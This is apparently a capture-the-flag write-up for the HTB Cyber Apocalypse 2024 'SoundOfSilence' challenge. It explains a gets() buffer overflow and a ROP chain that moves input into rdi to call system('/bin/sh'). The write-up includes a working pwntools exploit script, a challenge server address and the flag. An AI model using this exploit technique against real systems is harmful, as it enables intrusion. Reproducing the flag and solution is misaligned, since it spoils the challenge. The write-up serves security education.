HTB Cyber Apocalypse 2024: SoundOfSilence

Navigate the shadows in a dimly lit room,silently evading detection as you strategize to outsmart your foes. Employ clever distractions to divert their attention,paving the way for your daring escape!

TL;DR

Populate rdi via a mov instruction to provide parameter to system().

Challenge Overview

SoundOfSilence is an extremely minimal binary with an unbounded buffer overflow. We have control over the EIP almost immediately but there is no win function available, meaning we'll have to ROP somewhere else. The use of system() does look quite suspicious.

In terms of binary protection, no canary and PIE base were found. This means an info leak wouldn't be necessary.

At this point, I was thinking of different ways to exploit this after controlling the EIP:

  • How about a simple ret2system? - No useful gadgets to control rdi and write /bin/sh.

  • How about ret2libc? - No useful GOT entries like puts or write. Even if write exists, there is no __libc_csu_init gadget present as well.

  • How about ret2dlresolve? - We're dealing with large page sizes in 64-bit, plus the lack of gadgets to populate rdi.

  • Since we have unlimited ROP size thanks to the no boundary check of gets(), how about a SIGROP attack? - There is no syscall gadget available either.

  • How about writing /bin/sh to .bss section via a write-what-where gadget, followed by execev() pointing back to the .bss as shown in this writeup? - No such write-what-where gadget available.

Debugging

Since the binary was so minimal, I decided to take a look at all the register values by stepping through the instructions line-by-line. Let's take a look at the registers just before it's about to perform the ret instruction.

To debug the binary in GDB, we'll have to enable set follow-fork-mode parent since it uses system() to clear the terminal during program startup.

Right before the main function returns, we can see that our user input is saved in the rax register. This means that if we can find an instruction or gadget that copies whatever is in rax into rdi, we essentially satisfy all the requirements to execute system(/bin/sh).

Taking a look at the disassembly code, the instruction at 0x401169 fits just right into what we're looking for.

Solution

The ROP chain is fairly simple: Once we have control over the EIP, we can jump to the mov rdi, rax instruction to populate rdi with /bin/sh, followed by a call to system() to get a shell.

solve.py
#!/usr/bin/env python3

from pwn import *

elf = context.binary = ELF('./sound_of_silence_patched', checksec=False)
context.arch = 'amd64'
context.log_level = 'debug'

libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

p = elf.process()
# p = remote("94.237.61.21", 52613)
rop = ROP(elf)

mov_rdi = 0x401169

payload = flat(
    b'/bin/sh\x00' * 5, # Fills 40 bytes of padding
    mov_rdi,
    elf.plt['system']
)

p.sendafter(b'>> ', payload)
p.sendline()  

p.interactive()

Flag: HTB{n0_n33d_4_l34k5_wh3n_u_h4v3_5y5t3m}

Last updated